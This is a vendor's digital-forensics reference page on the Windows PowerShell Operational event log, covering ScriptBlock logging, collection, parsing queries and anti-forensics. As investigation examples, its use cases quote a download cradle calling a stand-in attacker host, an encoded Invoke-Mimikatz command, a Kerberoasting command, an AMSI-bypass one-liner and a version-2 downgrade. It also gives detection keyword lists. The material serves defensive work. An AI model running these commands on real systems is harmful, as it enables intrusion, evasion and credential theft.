Forensic ArtifactWindows: Eventlog

PowerShell Operational Log

PowerShell logging captures script block content (Event ID 4104), module loading, and pipeline execution. ScriptBlock logging records the full text of executed PowerShell code.

PowerShell is the most commonly abused living-off-the-land binary in enterprise intrusions — and when ScriptBlock logging is enabled, every line of attacker code is recorded in plain text, even after Base64 decoding and AMSI deobfuscation. The PowerShell Operational log transforms the defender’s blind spot into a forensic goldmine, capturing the full text of download cradles, credential harvesters, and lateral movement scripts.

What Is the PowerShell Operational Log?

Windows maintains two primary PowerShell event log channels. The Microsoft-Windows-PowerShell/Operational log (PowerShell 5.0+) captures ScriptBlock logging, module logging, and engine lifecycle events. The legacy Windows PowerShell log (the “classic” log) captures pipeline execution details and engine start/stop events. For forensic purposes, the Operational log is far more valuable because it records the actual content of executed scripts, not just metadata about execution.

ScriptBlock Logging (Event ID 4104) is the crown jewel. When enabled, PowerShell records the full text of every script block before execution. Critically, this logging occurs after deobfuscation — if an attacker uses Base64 encoding (-EncodedCommand), string concatenation, or variable substitution to obscure their commands, the logged script block contains the decoded, reconstructed command. This means investigators see the actual malicious code, not the obfuscated wrapper.

Module Logging (Event ID 4103) records detailed information about PowerShell module imports and the specific cmdlets invoked. Pipeline Execution Logging captures the output of commands. Together, these three logging mechanisms provide complete visibility into PowerShell activity — but only if they are enabled via Group Policy or registry configuration.

Critical Prerequisite

ScriptBlock Logging and Module Logging are NOT enabled by default. They must be activated via Group Policy (Administrative Templates → Windows Components → Windows PowerShell) or registry keys. If these policies were never configured, the PowerShell Operational log will contain only engine start/stop events (Event IDs 40961/40962) — useful for proving PowerShell ran, but without the script content.

Key Insight

ScriptBlock Logging records the deobfuscated version of every script block. When an attacker runs powershell -enc SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoA, Event ID 4104 logs Invoke-Mimikatz — the decoded command, not the Base64 blob. This makes ScriptBlock Logging the single most effective PowerShell forensic artifact.

Location & Format

Log File Paths

Log ChannelFile PathContent
PowerShell OperationalC:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtxScriptBlock logging (4104), module logging (4103), engine events
Windows PowerShell (classic)C:\Windows\System32\winevt\Logs\Windows PowerShell.evtxPipeline execution (800), engine start/stop (400/403), provider events

Enabling ScriptBlock Logging

Group Policy Configuration

Path: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell

Turn on PowerShell Script Block Logging: Enabled

Turn on Module Logging: Enabled (specify modules: * for all)

Turn on PowerShell Transcription: Enabled (optional; writes text files to a configured directory)

Registry Equivalent

REGISTRY / GPO
# ScriptBlock Logging
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
    EnableScriptBlockLogging = 1  (REG_DWORD)

# Module Logging (log all modules)
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging
    EnableModuleLogging = 1  (REG_DWORD)
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames
    * = *  (REG_SZ)

# Transcription (writes .txt files)
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription
    EnableTranscripting = 1  (REG_DWORD)
    OutputDirectory = C:\PSTranscripts  (REG_SZ)

Critical Event IDs

PowerShell Operational Log

Event IDNameLogging RequiredForensic Value
4104ScriptBlock LoggingScriptBlock Logging GPOHighest value: records the full deobfuscated text of every executed script block. Multi-part scripts are split across sequential events with a ScriptBlockId GUID.
4103Module LoggingModule Logging GPORecords module name, cmdlet invoked, and parameters. Captures Invoke-WebRequest, Invoke-Expression, and other attacker-favored cmdlets.
4105Script block execution startedScriptBlock Logging GPOStart marker for script block; contains the ScriptBlockId for correlation
4106Script block execution completedScriptBlock Logging GPOEnd marker; paired with 4105 to determine execution duration
40961PowerShell console startingDefault (always logged)Proves PowerShell was launched; logged even without ScriptBlock Logging enabled
40962PowerShell console readyDefault (always logged)Engine initialization complete; includes host application path

Windows PowerShell (Classic) Log

Event IDNameForensic Value
400Engine state changed to AvailablePowerShell engine started; HostApplication field shows the invoking process (e.g., powershell -enc ...)
403Engine state changed to StoppedPowerShell engine stopped; duration between 400 and 403 shows session length
600Provider startedRecords which PowerShell providers were loaded (FileSystem, Registry, etc.)
800Pipeline execution detailsRecords pipeline commands; available without Module Logging GPO; includes partial command text
Event ID 400 Fallback

Even when ScriptBlock Logging is not enabled, the classic Event ID 400 is always logged. Its HostApplication field includes the full command line used to launch PowerShell. If an attacker used powershell.exe -nop -w hidden -enc [base64], the entire encoded command string appears in the 400 event. This provides a starting point for decoding, even without 4104 script block content.

What It Reveals

With ScriptBlock Logging enabled, the PowerShell Operational log captures:

Forensic Use Cases

1. Cobalt Strike Beacon Deployment

An attacker gains initial access via phishing and runs a PowerShell download cradle. Event ID 4104 captures: IEX (New-Object Net.WebClient).DownloadString('https://staging.attacker[.]com/beacon.ps1'). The subsequent script blocks log the Cobalt Strike stager code in full, including the C2 server address, pipe name, and sleep interval. The investigator recovers the complete attack chain from the event log alone, without needing the original payload file.

2. Credential Theft with Invoke-Mimikatz

An attacker runs powershell -enc SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoAIAAtAEQAdQBtAHAAQwByAGUAZABzAA==. Despite the Base64 encoding, Event ID 4104 logs: Invoke-Mimikatz -DumpCreds. The script block further contains the embedded Mimikatz PE, the reflective loading code, and any output redirections. The Base64 encoding provided zero protection against ScriptBlock Logging.

3. Kerberoasting Attack

Script blocks capture Invoke-Kerberoast -OutputFormat Hashcat | Out-File C:\temp\hashes.txt. Module logging (4103) records the import of the PowerView module. The investigator identifies the exact SPNs targeted and the output file location, enabling recovery of the hash file from disk or from the $MFT if it was deleted.

4. AMSI Bypass Detection

Before executing malicious code, attackers frequently attempt to disable AMSI (Antimalware Scan Interface). ScriptBlock Logging captures the bypass attempt itself: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true). The presence of this script block is strong evidence of deliberate evasion and subsequent malicious activity.

5. Living-Off-The-Land Reconnaissance

An attacker who has compromised a domain-joined workstation runs a series of reconnaissance commands. Event ID 4104 captures each one: Get-ADDomainController, [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain(), Get-NetSubnet, Invoke-ShareFinder -Verbose. The complete enumeration playbook is recorded in chronological order, allowing the investigator to reconstruct the attacker’s methodology.

Acquisition Methods

Collection Note

Collect both the PowerShell Operational log and the classic Windows PowerShell log. Also check for PowerShell transcription files if transcription was enabled. On compromised systems, verify that the ScriptBlock Logging GPO is still active — some attackers disable it after gaining access.

Live System — wevtutil Export

CMD / ADMIN
:: Export the PowerShell Operational log
wevtutil epl Microsoft-Windows-PowerShell/Operational C:\Evidence\PS_Operational.evtx

:: Export the classic Windows PowerShell log
wevtutil epl "Windows PowerShell" C:\Evidence\PS_Classic.evtx

:: Check if ScriptBlock Logging is enabled
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging

:: Check for transcription files
dir /s /b C:\PSTranscripts\*.txt 2>nul

Live System — KAPE / Velociraptor

CMD / ADMIN
:: KAPE: Collect all event logs including PowerShell
kape.exe --tsource C: --tdest C:\Evidence\KAPE_Output --target EventLogs,PowerShellTranscripts

:: Velociraptor: Hunt for PowerShell script blocks
:: Artifact: Windows.EventLogs.PowershellScriptblock
:: Returns all 4104 events with script text for keyword searching

Forensic Image — Direct Extraction

BASH / FORENSICS
# Copy PowerShell event logs from mounted image
cp "/mnt/evidence/Windows/System32/winevt/Logs/Microsoft-Windows-PowerShell%4Operational.evtx" /analysis/evtx/
cp "/mnt/evidence/Windows/System32/winevt/Logs/Windows PowerShell.evtx" /analysis/evtx/

# Also check for transcription output (if enabled)
find /mnt/evidence -name "PowerShell_transcript*" -type f 2>/dev/null

Parsing Tools & Analysis

ToolAuthorLicenseOutputNotes
EvtxECmdEric ZimmermanFreeCSV/JSONParses all EVTX files; maps PowerShell events to structured fields
ChainsawWithSecureOpen sourceText/JSONSigma rules detect known offensive PowerShell patterns
HayabusaYamato SecurityOpen sourceCSV/JSONBuilt-in rules for PowerShell abuse detection
Get-WinEventMicrosoftBuilt-inPowerShell objectsNative parsing with XPath filters; can reconstruct multi-part script blocks
DeepBlueCLIEric Conrad (SANS)Open sourcePowerShell objectsPurpose-built for PowerShell log analysis; detects common attack patterns
DVAULTFireeyeOpen sourceTextPowerShell script block log reassembly; reconstructs fragmented scripts

PowerShell Queries for Analysis

POWERSHELL / ANALYSIS
# Extract all ScriptBlock logs (Event ID 4104)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';Id=4104} |
    Select-Object TimeCreated,
        @{N='ScriptBlockText';E={$_.Properties[2].Value}},
        @{N='ScriptBlockId';E={$_.Properties[3].Value}},
        @{N='Path';E={$_.Properties[4].Value}}

# Search for known offensive keywords in script blocks
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';Id=4104} |
    Where-Object { $_.Message -match 'Invoke-Mimikatz|Invoke-Kerberoast|DownloadString|EncodedCommand|AmsiUtils|Invoke-WebRequest|Invoke-Expression|IEX|Net.WebClient' } |
    Select-Object TimeCreated, @{N='Script';E={$_.Properties[2].Value}} |
    Format-List

# Reconstruct a multi-part script block (same ScriptBlockId, multiple parts)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';Id=4104} |
    Where-Object { $_.Properties[3].Value -eq 'target-guid-here' } |
    Sort-Object { [int]$_.Properties[0].Value } |
    ForEach-Object { $_.Properties[2].Value } | Out-String

# Query offline .evtx file
Get-WinEvent -Path 'C:\Evidence\PS_Operational.evtx' -FilterXPath "*[System[(EventID=4104)]]"

Hunting with Chainsaw

CMD / FORENSICS
:: Hunt for PowerShell attack patterns using Sigma rules
chainsaw hunt C:\Evidence\evtx\ -s sigma/rules/windows/powershell/ --mapping mappings/sigma-event-logs-all.yml

:: Search for specific keywords in PowerShell logs
chainsaw search C:\Evidence\PS_Operational.evtx -s "Invoke-Mimikatz"
chainsaw search C:\Evidence\PS_Operational.evtx -s "DownloadString"
chainsaw search C:\Evidence\PS_Operational.evtx -s "AmsiUtils"

Retention & Persistence

PropertyDefault SettingRecommendation
Maximum log size15 MBIncrease to 256 MB – 1 GB; PowerShell script blocks are verbose and fill quickly
Retention methodOverwrite as needed (circular)Keep circular; forward to SIEM for long-term retention
Survives rebootYes
Survives OS reinstallNoForward to SIEM; include in regular forensic image backups
Effective retention at 15 MBHours to days on actively scripted systemsHeavy scripting environments (SCCM, DSC, automation) may retain only hours at default size
Sizing Warning

A single Cobalt Strike stager can generate 500+ KB of script block events. Environments with heavy automation (SCCM, DSC, scheduled tasks) can fill the default 15 MB log in hours. Increase to at least 256 MB and forward to a SIEM. Also consider PowerShell Transcription as a backup — transcript files are written to disk and are not subject to the event log size limit.

Anti-Forensics Resilience

MethodBypasses Logging?Detection
wevtutil clYes — clears all eventsEvent ID 104 in System.evtx records the clearing
Disable ScriptBlock GPOStops future loggingRegistry value change detectable; gap in logging timeline is suspicious
Unmanaged PowerShell (runspace)Partial — may avoid some loggingEngine start events (40961) still logged; missing 4104 events with present 40961 is suspicious
PowerShell v2 downgradeYes — bypasses ScriptBlock LoggingEvent ID 400 records engine version; v2 usage on a modern system is a strong indicator of evasion
AMSI bypassNo — ScriptBlock Logging is separate from AMSIThe bypass code itself is logged in Event ID 4104
CLM bypassNoConstrained Language Mode escapes are themselves script blocks that get logged
Log overflowOldest events overwrittenNot an active attack; increase log size to mitigate
The v2 Downgrade Problem

PowerShell version 2 does not support ScriptBlock Logging. An attacker can invoke powershell.exe -version 2 to run commands without generating Event ID 4104. However, the classic Event ID 400 will record EngineVersion=2.0, and the use of PowerShell v2 on a modern system is itself a high-fidelity alert. Mitigation: remove the PowerShell v2 engine (Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root).

MITRE ATT&CK Detection Mapping

TechniqueNamePowerShell Log Evidence
T1059.001 T1059.001PowerShellAll script block content logged; engine start/stop events confirm PowerShell execution
T1027 T1027Obfuscated Files or InformationScriptBlock Logging records deobfuscated code; Base64, string concatenation, and variable substitution are resolved before logging
T1105 T1105Ingress Tool TransferDownload cradles (DownloadString, Invoke-WebRequest, Start-BitsTransfer) logged with URLs
T1003 T1003OS Credential DumpingInvoke-Mimikatz, Invoke-Kerberoast, Get-GPPPassword captured in script blocks
T1562.001 T1562.001Impair Defenses: Disable or Modify ToolsAMSI bypass attempts logged as script blocks; Set-MpPreference -DisableRealtimeMonitoring captured
T1087 T1087Account DiscoveryGet-ADUser, Get-ADGroup, Get-DomainUser commands with parameters captured

Related Artifacts & Cross-References

Complementary Artifacts

ArtifactRelationship to PowerShell LogCross-Correlation Value
Security.evtx 4688Process creation with command lineShows the powershell.exe process creation with full command line; complements script block content
Sysmon Event 1Process creation with hash and parentIdentifies the parent process that spawned PowerShell; hash confirms powershell.exe integrity
System.evtxService events, log clearingIf PowerShell was used to create a service (7045) or clear logs (104), System.evtx corroborates
PrefetchPowerShell execution artifactPOWERSHELL.EXE-*.pf confirms execution; run count and timestamps complement log data
Transcription filesDisk-based PowerShell output logsIf enabled, transcription files survive event log clearing; contain input/output text
ConsoleHost_history.txtPSReadLine command history%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt stores interactive commands; survives log clearing

References

  1. Microsoft, “About Logging Windows — PowerShell” — https://learn.microsoft.com
  2. Eric Zimmerman, “EvtxECmd — EVTX Parser” — https://ericzimmerman.github.io/
  3. FireEye, “Greater Visibility Through PowerShell Logging” — https://www.mandiant.com
  4. SANS Institute, “Investigating PowerShell Attacks” — https://www.sans.org
  5. WithSecure, “Chainsaw — Rapid EVTX Hunting” — https://github.com/WithSecureLabs/chainsaw
  6. Eric Conrad, “DeepBlueCLI” — https://github.com/sans-blue-team/DeepBlueCLI
  7. SigmaHQ, “PowerShell Detection Rules” — https://github.com/SigmaHQ/sigma
  8. Lee Holmes, “PowerShell Loves the Blue Team” — https://devblogs.microsoft.com

Mjolnir Security — Digital Forensics & Incident Response

Mjolnir Security provides 24/7 incident response, digital forensics, and expert witness testimony. Our DFIR team specializes in PowerShell log analysis, script block reconstruction, and detecting living-off-the-land attacks across enterprise environments.

Digital ForensicsIncident ResponseExpert WitnessPowerShell AnalysisThreat HuntingScript Deobfuscation

mjolnirsecurity.com — 24/7: +1 833 403 5875